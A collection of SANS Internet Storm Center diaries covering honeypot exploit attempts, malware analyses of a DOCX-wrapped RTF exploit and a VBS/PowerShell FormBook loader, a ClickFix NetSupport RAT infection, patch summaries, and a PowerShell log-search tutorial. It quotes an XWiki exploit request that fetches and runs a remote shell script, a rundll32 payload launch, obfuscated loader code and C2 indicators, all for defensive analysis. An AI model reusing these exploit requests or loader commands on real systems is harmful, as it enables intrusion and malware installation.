Like many have reported, we too noticed exploit attempts for CVE-2025-64446 in our honeypots.

These are POST requests to this path:

With this User Agent String:

And this is the data of the POST request:

This creates a new admin user (profile: prof_admin).

You can find this JSON data back in this PoC.

Didier Stevens
Senior handler
blog.DidierStevens.com

You probably know what are the Russian or Matryoshka dolls. It's a set of wooden dolls of decreasing size placed one inside another[1]. I found an interesting Microsoft Office document that behaves like this. There was a big decrease in malicious Office documents due to the new Microsoft rules to prevent automatic VBA macros execution. But they remain used, especially RTF documents that exploits the good %%cve:2017-11882%%.

The document (SHA256:8437cf40bdd8b005b239c163e774ec7178195f0b80c75e8d27a773831479f68f) that I found uses another technique to prevent the RTF document to be spread directly to the victim. The RTF document is placed into the OOXML document:

remnux@remnux:~/malwarezoo/20251113$ zipdump.py mexico_november_po.docx
Index Filename Encrypted Timestamp
1 _rels/ 0 2025-10-22 21:55:10
2 docProps/ 0 2025-10-22 21:55:10
3 word/ 0 2025-11-12 02:58:50
4 [Content_Types].xml 0 2025-10-22 21:55:22
5 docProps/app.xml 0 1980-01-01 00:00:00
6 docProps/core.xml 0 1980-01-01 00:00:00
7 word/_rels/ 0 2025-10-22 21:55:10
8 word/theme/ 0 2025-10-22 21:55:10
9 word/document.xml 0 2025-11-12 02:59:04
10 word/endnotes.xml 0 1980-01-01 00:00:00
11 word/Engaging.rtf 0 2025-11-12 02:58:34
12 word/fontTable.xml 0 1980-01-01 00:00:00
13 word/footer1.xml 0 1980-01-01 00:00:00
14 word/footnotes.xml 0 1980-01-01 00:00:00
15 word/numbering.xml 0 1980-01-01 00:00:00
16 word/settings.xml 0 1980-01-01 00:00:00
17 word/styles.xml 0 1980-01-01 00:00:00
18 word/webSettings.xml 0 1980-01-01 00:00:00
19 word/theme/theme1.xml 0 1980-01-01 00:00:00
20 word/_rels/document.xml.rels 0 2025-11-12 02:58:58
21 word/_rels/settings.xml.rels 0 1980-01-01 00:00:00
22 _rels/.rels 0 1980-01-01 00:00:00

The file is referenced in the Word document:

remnux@remnux:~/malwarezoo/20251113$ zipdump.py mexico_november_po.docx -s 20 -d | grep Engaging.rtf
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
...
<Relationship Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/aFChunk" Target="/word/Engaging.rtf" Id="YAjq8U"/>
</Relationships>

remnux@remnux:~/malwarezoo/20251113$ zipdump.py mexico_november_po.docx -s 9 -d | grep YAjq8U
<w:document xmlns:wpc=“http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas” 
...
<w:body><w:altChunk r:id=“YAjq8U”/>
...
</w:document>

The RTF document contains a shellcode that triggers the Equation Editor exploit. The next payload is C:\Users\user01\AppData\Local\Temp\license.ini. It's a DLL (SHA256:d8ed658cc3d0314088cf8135399dbba9511e7f117d5ec93e6acc757b43e58dbc) that is invoked with the following function: IEX

CmD.exe /C rundll32 %tmp%\license.ini,IEX A\x12\x0cC

You can see the special characters used as parameters to the function here:

This DLL is pretty well obfuscated, I'l still having a look at it but the malware family is not sure... Maybe another Formbook.

[1] https://en.wikipedia.org/wiki/Matryoshka_doll

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

When I’m teachning FOR610[1], I always say to my students that reverse engineering does not only apply to “executable files” (read: PE or ELF files). Most of the time, the infection path involves many stages to defeat the Security Analyst or security controls. Here is an example that I found yesterday. An email was received via an attached ZIP archive. It contained a simple file: “Payment_confirmation_copy_30K__202512110937495663904650431.vbs” (SHA256:d9bd350b04cd2540bbcbf9da1f3321f8c6bba1d8fe31de63d5afaf18a735744f) identified by 17/65 antiviruses on VT[2]. Let’s have a look at the infection path.

The VBS script was obfuscated but easy to reverse. First it started with a delay loop of 9 seconds:

Dim Hump
Hump = DateAdd(“s”, 9, Now())
Do Until (Now() > Hump)
    Wscript.Sleep 100
    Frozen = Frozen + 1
Loop

This allow the script to wait before performing nasty actions and avoid using the sleep() function which is often considered as suspicious. Then the script will generate a PowerShell script by concatenating a lot of strings. The “PowerShell” string is hidden behind this line:

Nestlers= array(79+1,79,80+7,60+9,82,83,72,69,76,76)

The script is reconstructed like this:

Roastable11 = Roastable11 + “mv 'udenri”
Roastable11 = Roastable11 + “gstjenes”
Roastable11 = Roastable11 + “te’;”
Roastable11 = Roastable11 + “function "
Roastable11 = Roastable11 + “Microcoulomb”
Roastable11 = Roastable11 + " ($s”
Roastable11 = Roastable11 + “kattes”
Roastable11 = Roastable11 + “kemas='sel”
Roastable11 = Roastable11 + “vang”
Roastable11 = Roastable11 + “av’)”
...

The result is executed with an Shell.Application object. The PowerShell script is also heavily obfuscated. Two functions are used for this purpose:

function Microcoulomb ($skatteskemas=‘selvangav’)
{
    $bletr=4;
    do {
        folkesangeren+=skatteskemas[$bletr];
        $bletr+=5;
        overhringens=Get-Date
    }
    until (!skatteskemas[$bletr]);
    $folkesangeren
}

function Blokbogstavers65 ($srlings)
{
    countryish22(srlings)
}

The second function just invokes an “Invoke-Expression” with the provided string. The first one reconstrusts strings by extraction some characters from the provided one. Example:

$mesoventrally=Microcoulomb ’ :::n TTTEJJJJTjjjj.nnnnw::::E’;
$mesoventrally+=Microcoulomb ‘i iiB SSSCccc l EE INNNNe * *n;;;;t’;

The variable meseventrally will containt “nET.wEBClIent”.

The first part of the deobfuscated script will prepare the download of the next payload:

while ((!brandmesterens))
{
    Blokbogstavers65 (Microcoulomb '...’) ;
    Blokbogstavers65 retsforflgende;
    Blokbogstavers65 (Microcoulomb '...');
    Blokbogstavers65 (Microcoulomb '...') ;
    Blokbogstavers65 (Microcoulomb '...’) ;
    fedayee=serigraphic[$dichotomically]
}

The loop waits for a successful download from ths URL: hxxps://drive[.]google[.]com/uc?export=download&id=1jFn0CatcuICOIjBsP_WxcI_faBI9WA9S

It stores the payload in C:\Users\REM\AppData\Roaming\budene.con. Once decoded, it’s another piece of PowerShell that also implements deobfuscation functions.

The script will invoke an msiexec.exe process and inject the FormBook into it. The injected payload is C:\Users\REM\AppData\Local\Temp\bin.exe (SHA256:12a0f592ba833fb80cc286e28a36dcdef041b7fc086a7988a02d9d55ef4c0a9d)[3]. The C2 server is 216[.]250[.]252[.]227:7719.

Here is an overview of the activity generated by all the scripts on the infected system:

[1] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques
[2] https://www.virustotal.com/gui/file/d9bd350b04cd2540bbcbf9da1f3321f8c6bba1d8fe31de63d5afaf18a735744f
[3] https://www.virustotal.com/gui/file/12a0f592ba833fb80cc286e28a36dcdef041b7fc086a7988a02d9d55ef4c0a9d

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

This diary describes a NetSupport RAT infection I generated in my lab from the SmartApeSG campaign that used a ClickFix-style fake CAPTCHA page.

Known as ZPHP or HANEYMANEY, SmartApeSG is a campaign reported as early as June 2024. When it started, this campaign used fake browser update pages. But it currently uses the ClickFix method of fake CAPTCHA-style "verify you are human" pages.

This campaign pushes malicious NetSupport RAT packages for its initial malware infection, and I've seen follow-up malware from these NetSupport RAT infections.

How To Find SmartApeSG Activity

I can usually find SmartApeSG indicators from the Monitor SG account on Mastodon. I use URLscan to pivot on those indicators, so I can find compromised websites that lead to the SmartApeSG script.

The Infection

Sites compromised through this campaign display pages with a hidden injected script. Given the right conditions, this script kicks off a SmartApeSG chain of events. The image below shows an example.

Shown above: Injected SmartApeSG script in a page from the compromised site.

In some cases, this injected script does not kick off the infection chain. I've had issues getting an infection chain during certain times of day, or if I try viewing the compromised website multiple times from the same source IP address. I don't know what the conditions are, but if those conditions are right, the compromised site shows a fake CAPTCHA-style "verify you are human" page.

Shown above: Fake CAPTCHA page displayed by the compromised site.

Clicking the "verify you are human" box does the following:

• Injects malicious content into the Windows host's clipboard
• Generates a pop-up with instructions to open a Run window, paste content into the window, and run it.

The clipboard-injected content is a command string that uses the mshta command to retrieve and run malicious content that will generate a NetSupport RAT infection.

Shown above: Following ClickFix directions to paste content (a malicious command) into the Run window.

Below is a URL list of the HTTPS traffic directly involved in this infection.

Shown above: HTTPS traffic directly involved in this SmartApe SG activity.

Shown above: Traffic from the infection filtered in Wireshark.

The malicious NetSupport RAT package stays persistent on the infected host through a Start Menu shortcut. The shortcut runs a .js file in the user's AppData\Local\Temp directory. That .js file runs the NetSupport RAT executable located in a folder under the C:\ProgramData\ directory.

Shown above: The malicious NetSupport RAT package, persistent on an infected Windows host.

Indicators From This Activity

The following URLs were noted in traffic from this infection:

• hxxps[:]//frostshiledr[.]com/xss/buf.js  <-- injected SmartApeSG script
• hxxps[:]//frostshiledr[.]com/xss/index.php?iArfLYKw
• hxxps[:]//frostshiledr[.]com/xss/bof.js?0e58069bbdd36e9a36  <-- fake CAPCHA page/ClickFix instructions
• hxxps[:]//newstarmold[.]com/sibhl.php  <-- Script retrieved by ClickFix command
• hxxps[:]//www.iconconsultants[.]com/4nnjson.zip  <-- zip archive containing malicious NetSupport RAT package
• hxxp[:]//194.180.191[.]121/fakeurl.htm  <-- NetSupport RAT C2 traffic over TCP port 443

The following is the zip archive containing the malicious NetSupport RAT package:

• SHA256 hash: 1e9a1be5611927c22a8c934f0fdd716811e0c93256b4ee784fadd9daaf2459a1
• File size: 9,192,105 bytes
• File type: Zip archive data, at least v1.0 to extract, compression method=store
• File location: hxxps[:]//www.iconconsultants[.]com/4nnjson.zip
• Saved to disk as: C:\ProgramData\psrookk11nn.zip

Note: These domains change on a near-daily basis, and the NetSupport RAT package and C2 server also frequently change.

---
Bradley Duncan
brad [at] malware-traffic-analysis.net

Today's Microsoft Patch Tuesday offers fixes for 80 different vulnerabilities. One of the vulnerabilities is already being exploited, and five are rated as critical.

Notable Vulnerabilities:

%%cve:2025-62215%%: This vulnerability is already being exploited. It is a privilege escalation vulnerability in the Windows Kernel. These types of vulnerabilities are often exploited as part of a more complex attack chain; however, exploiting this specific vulnerability is likely to be relatively straightforward, given the existence of prior similar vulnerabilities.

%%cve:2025-60274%%: A critical GDI+ remote execution vulnerability. GDI+ parses various graphics files. The attack surface is likely huge, as anything in Windows (Browsers, email, and Office Documents) will use this library at some point to display images. We also have a critical vulnerability in Direct-X %%cve:2025-60716%%. Microsoft classifies this as a privilege escalation issue, yet still rates it as critical.

%%cve:2025-62199%%: A code execution vulnerability in Microsoft Office. Another component with a huge attack surface that is often exploited.

Given the number and type of vulnerabilities, I would consider this patch Tuesday "lighter than normal". There are no "Patch Now" vulnerabilities, and I suggest applying these vulnerabilities in accordance with your vulnerability management program.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Today, I noticed scans using the username "FTP_3cx" showing up in our logs. 3CX is a well-known maker of business phone system software [1]. My first guess was that this was a default user for one of their systems. But Google came up empty for this particular string. The 3CX software does not appear to run an FTP server, but it offers a feature to back up configurations to an FTP server [2]. The example user used in the documentation is "3cxftpuser", not "FTP_3cx". Additionally, the documentation notes that the FTP server can run on a different system from the 3CX software. For a backup, it would not make much sense to have it all run on the same system.

The scans we are seeing likely target FTP servers users set up to back up 3CX configurations, and not the 3CX software itself. I am not familiar enough with 3CX to know precisely what the backup contains, but it most likely includes sufficient information to breach the 3CX installation.

The credentials we observe with our Cowrie-based honeypots are collected for telnet and ftp. In particular, on Linux systems, you often use a system user to connect via FTP. Any credentials working via FTP will also work for telnet or SSH. Keep that in mind when configuring a user for FTP access, and of course, FTP should not be your first choice for backing up sensitive data, but we all know it does happen.

Here are the passwords attacks are attempting to use:

Here are some other "3cx" related usernames we have seen in the past:

If anyone with more 3CX experience reads this, is there a reason for someone to use these usernames? Or are there any defaults I didn't find?

[1] https://www.3cx.com
[2] https://www.3cx.com/docs/ftp-server-pbx-backups-linux/

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

This is just a quick diary entry to report that I saw requests on my honeypot for (code) repositories:

/.git/logs/refs/remotes/origin/main
/.git/objects/info
/.github
/.github/dependabot.yml
/.github/funding.yml
/.github/ISSUE_TEMPLATE
/.gitlab/issue_templates
/.gitlab-ci
/.git-secret
/.svnignore
/aws/bucket
/s3/backup
/s3/bucket
/s3/credentials

So watch out what you publish online when you deploy a repository to your web site.

Didier Stevens
Senior handler
blog.DidierStevens.com

[This is a Guest Diary by David Hammond, an ISC intern as part of the SANS.edu BACS program]

My last college credit on my way to earning a bachelor's degree was an internship opportunity at the Internet Storm Center. A great opportunity, but one that required the care and feeding of a honeypot. The day it arrived I plugged the freshly imaged honeypot into my home router and happily went about my day. I didn’t think too much about it until the first attack observation was due. You see, I travel often, but my honeypot does not. Furthermore, the administrative side of the honeypot was only accessible through the internal network. I wasn’t about to implement a whole remote solution just to get access while on the road. Instead, I followed some very good advice. I started downloading regular backups of the honeypot logs on a Windows laptop I frequently had with me.

The internship program encouraged us to at least initially review our honeypot logs with command line utilities, such as jq and all its flexibility with filtering. Combined with other standard Unix-like operating system tools, such as wc (word count), less, head, and cut, it was possible to extract exactly what I was looking for. I initially tried using more graphical tools but found I enjoy "living" in the command line better. When I first start looking at logs, I was not always sure of what I’m looking for. Command line tools allow me to quickly look for outliers in the data. I can see what sticks out by negating everything that looks the same. 

So, what’s the trouble? None of these tools were available on my Windows laptop. Admittedly, most of what I mention above are available for Windows, but my ability to install software was restricted on this machine, and I knew that native alternatives existed. At the time I had several directories of JSON logs, and a long list of malware hash values corresponding to an attack I was interested in understanding better. Here’s how a few lines of PowerShell can transform scattered honeypot logs into a clear picture of what really happened.

First, let’s start with the script in two parts. Here’s the PowerShell array containing malware hash values:

$hashes = @(
"00deea7003eef2f30f2c84d1497a42c1f375d802ddd17bde455d5fde2a63631f",
"0131d2f87f9bc151fb2701a570585ed4db636440392a357a54b8b29f2ba842da",
"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b",
"0291de841b47fe19557c2c999ae131cd571eb61782a109b9ef5b4a4944b6e76d",
"02a95dae81a8dd3545ce370f8c0ee300beff428b959bd7cec2b35e8d1cd7024e",
"062ba629c7b2b914b289c8da0573c179fe86f2cb1f70a31f9a1400d563c3042a",
"0be1c3511c67ecb8421d0be951e858bb3169ac598d068bae3bc8451e883946cc",
"0cbd5117413a0cab8b22f567b5ec5ec63c81b2f0f58e8e87146ecf7aace2ec71",
"0d2d316bc4937a2608e8d9a3030a545973e739805c3449b466984b27598fcdec",
"0d58ee0cd46d5908f31ba415f2e006c1bb0215b0ecdc27dd2b3afa74799e17bd"
)

The $hashes = @( ) between quoted, comma-separated values, establishes a PowerShell array of strings which represents the hashes we want to search for. Now let’s look at how we put this array to use.

Get-ChildItem -Path "C:\Users\Dave\Logs" -Filter 'cowrie.json.*' -Recurse |
ForEach-Object {
    $jsonContent = Get-Content $_.FullName
    write-output $_.FullName
    foreach ($hash in $hashes) {
        $searchResults = $null
        $searchResults = $jsonContent | Select-String $hash
        if (![string]::IsNullOrEmpty($searchResults)) { 
            write-output $searchResults 
        }
    }
}

Let's walk through the execution of the script. The first statement, Get-ChildItem, recurses every folder in the specified path (C:\Users\Dave\Logs\) and passes along all filenames that match the filter argument. Each filename is passed through the "pipe" (|) directly into the first ForEach-Object statement. You can see what’s passed by observing the output of the write-output $_.FullName line. The $_ is a variable designation which represents whatever is passed through the pipe. In this case, we know what kind of data to expect (a filename) so we can access it’s attribute, "FullName". This tells us the specific JSON log file currently being searched.

Now let’s get into the meat of the script. The main body of the script contains two nested For-Loops. The outer loop begins with the first "ForEach-Object" block of code. The inner loop is described by the lowercase "foreach" block. We already know the name of the JSON log we’ll be searching next, so the next line, $jsonContent = Get-Content $_.FullName sets that up to happen. It takes the content of the first filename passed to $_ though the pipe, reads the contents of that filename, and stores the text in a variable named $jsonContent. Now we’ve got our first log to search, all we have to do is run through the list of hash values to search for! This takes us to the point of the script where we reach the inner-loop. The foreach inner-loop is similar to the outer loop with the exception of how it processes data. The statement, foreach ($hash in $hashes) takes each hash value found in the $hashes array and puts a copy of it into $hash before executing the code block it contains. 

When the inner-loop runs it does three things. First, $searchResults = $null empties the value of the $searchResults variable. This is also called "initializing" the variable, and it’s a good practice whenever you're working with loops that re-use the same variable names. Second, with the variable clear and ready to accept new values, the next line accomplishes a few things.

        $searchResults = $jsonContent | Select-String $hash

Starting to the right of the equals sign, we’re passing the JSON log text $jsonContent into the command "Select-String" while also passing Select-String a single argument, $hash.  Remember earlier when the lowercase foreach loop started, it takes each value found in the $hashes array and (one at a time) places their values into $hash before executing the block of code below it. So we’re passing the text in $jsonContent through another pipe to Select-String, which takes that text and searches for the value $hash within the contents of $jsonContent. The results of Search-String are then stored in the variable named $searchResults.

        if (![string]::IsNullOrEmpty($searchResults)) { 
            write-output $searchResults 
        }

Third and finally, we have an if statement to determine whether the prior Select-String produced any results. If it found the $hash value it was looking for, the $searchResults variable will contain data. If not, it will remain empty ($null). The if statement makes that determination and prints the $searchResults it found. Note the ! at the beginning of the statement which tells it to evaluate as, "if not empty."

While compact in size, this script introduces the PowerShell newcomer to a variety of useful functions: traversing files and folders, retrieving text, searching text, and nested loops are all sophisticated techniques. If you save this script, you can adapt it in many ways whenever a quick solution is needed. Understanding the tools that are available to us in any environment and having practice adapting those tools to our circumstances makes us all better cybersecurity professionals.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

For several years, we have offered a "new domain" list of recently registered (or, more accurately, recently discovered) domains. This list is offered via our API (https://isc.sans.edu/api). However, the size of the list has been causing issues, resulting in a "cut-off" list being returned. To resolve this issue, I updated the API call. It is sort of backward compatible, but it will not allow you to retrieve the full list. Additionally, we offer a simple "static file" containing the complete list. This file should be used whenever possible instead of the API.

To retrieve the full list, updated hourly, use:

https://isc.sans.edu/feeds/domaindata.json.gz

We also offer past versions of this list for the last few days. For example: 

https://isc.sans.edu/feeds/domaindata.2025-11-01.json.gz

I have not decided yet how long to keep these historic lists. The same data can be retrieved via the API request below. Likely, I will keep the last week as a "precompiled" list.

For the API, you may now retrieve partial copies of the list. The full URL for the API is:

https://isc.sans.edu/api/recentdomains/[date]/[searchstring]/[start]/[count]

For example:

https://isc.sans.edu/api/recentdomains/2025-11-05/sans/0/1000?json

Will return all domains found today (November 5th) that contain the string "sans". The first 1,000 matches are returned.

date: The date in "YYYY-MM-DD" format. The word "today" can be used instead of the current date if you only want the most recent data. The default is "today".
searchstring: only domains containing this string will be returned. Use "+" as a wildcard to get all domains. This defaults to returning any domain.
start: The number of the record to start with (defaults to 0)
count: How many records to return (defaults to all records)

In return, you will receive XML by default, but you may easily switch to other formats by adding, for example, "?json" to the end of the URL, which will return JSON.

The data returned remains the same:

{
    "domainname": "applewood-artisans.com",
    "ip": null,
    "type": null,
    "firstseen": "2025-11-04",
    "score": 0,
    "scorereason": "High entropy: 3.57 (+0.36)"
  },

domainname: The domain name
ip: IPv4 address (if available)
type: currently not used
firstseen: Date the domain name was first seen
score: The "anomaly score"
scorereason: reason behind the score

One of the sources of this data is the Certificate Transparency logs. It is possible that we will see new certificates for older domains that have not yet made it into our list of "existing" domains. As a result, you will see some older domains listed as "new" because they were not previously included in our feeds.

Regarding all our data: Use it at your own risk. The data is provided on a best-effort basis at no cost. Commercial use is permitted as long as the data is attributed to us and not resold. We do not recommend using the data as a block list. Instead, use it to "add color to your logs". The data may provide some useful context for other data you collect.

Why do we have a somewhat unusual API, rather than a more standard-compliant REST, GraphQL, or even SOAP API? Well, the API predates these standards (except for SOAP... and do you really want me to use SOAP?). At one point, we may offer something closer to whatever the REST standard will look like at the time, but don't hold your breath; there are a few other projects I want to complete first.

Feedback and bug reports are always welcome.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Apple released its expected set of operating system upgrades. This is a minor feature upgrade that also includes fixes for 110 different vulnerabilities. As usual for Apple, many of the vulnerabilities affect multiple operating systems. None of the vulnerabilities is marked as already exploited. Apple only offers very sparse vulnerability descriptions. Here are some vulnerabilities that may be worth watching:

CVE-2025-43338, CVE-2025-43372: A memory corruption vulnerability in ImageIO. ImageIO is responsible for rendering images, and vulnerabilities like this have been exploited in the past for remote code execution. CVE-2025-43400, a vulnerability affecting FontParser, could have a similar impact.

CVE-2025-43431: A memory corruption issue in WebKit. This could be used to execute code via Safari.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

XWiki describes itself as "The Advanced Open-Source Enterprise Wiki" and considers itself an alternative to Confluence and MediaWiki. In February, XWiki released an advisory (and patch) for an arbitrary remote code execution vulnerability. Affected was the SolrSearch component, which any user, even with minimal "Guest" privileges, can use. The advisory included PoC code, so it is a bit odd that it took so long for the vulnerability to be widely exploited.

NIST added the vulnerability to its "Known Exploited Vulnerabilities" list this past Friday. Our data shows some reconnaissance scans starting in July, but actual exploit attempts did not commence until yesterday. 

The exploit requests are relatively straightforward:

GET /xwiki/bin/get/Main/SolrSearch?media=rss&text={{async async=false}}{{groovy}}['sh', '-c', 'wget -qO- http://74.194.191.52/rondo.sdu.sh|sh'].execute().text{{/groovy}}{{/async}} HTTP/1.1
Host: [honeypot IP address]
User-Agent: Mozilla/5.0 ([email protected])
Connection: close
Accept: */*

The exploit attempt is loading a shell script from 74.194.191.52. The script is no longer present on the site. However, the site displays what appears to be an advertisement for a fairly average rap song, and it also displays the same email address as the one included in the user agent. Maybe the actual attacker's email address? I will try to reach out to see what I get back.

The page returned, instead of the malware, is advertising the Chicago rapper "King Lil Jay". King Lil Jay is a rival of RondoNumbaNine, and both are currently incarcerated. The reference to "rondo" in the malware script name is likely referring to RondoNumbaNine. In the past, both rappers were affiliated with opposing gangs in Chicago, and in part, participated in and celebrated in their music the violence associated with the gang rivalry. While, according to some reports [3], the two rappers ended their rivalry, it is odd to see some of this come up in a random online attack.

[1] https://www.xwiki.org/xwiki/bin/view/Main/WebHome
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-24893
[3] https://www.youtube.com/shorts/llh53PYnHWQ

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Sensors reporting firewall logs detected a significant increase in scans for port 8530/TCP and 8531/TCP over the course of last week. Some of these reports originate from Shadowserver, and likely other researchers, but there are also some that do not correspond to known research-related IP addresses.

CVE-2025-59287 is exploited by connecting to affected WSUS servers on port 8530/TCP (non-TLS) or 8531/TCP (TLS). Once connected, an attacker could exploit the vulnerability to execute scripts on a vulnerable server. Typically, an attacker begins by conducting reconnaissance and subsequently follows up with a network compromise.

Sufficient details have been made public about the attack to suggest that any exposed vulnerable servers should be considered compromised at this point.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|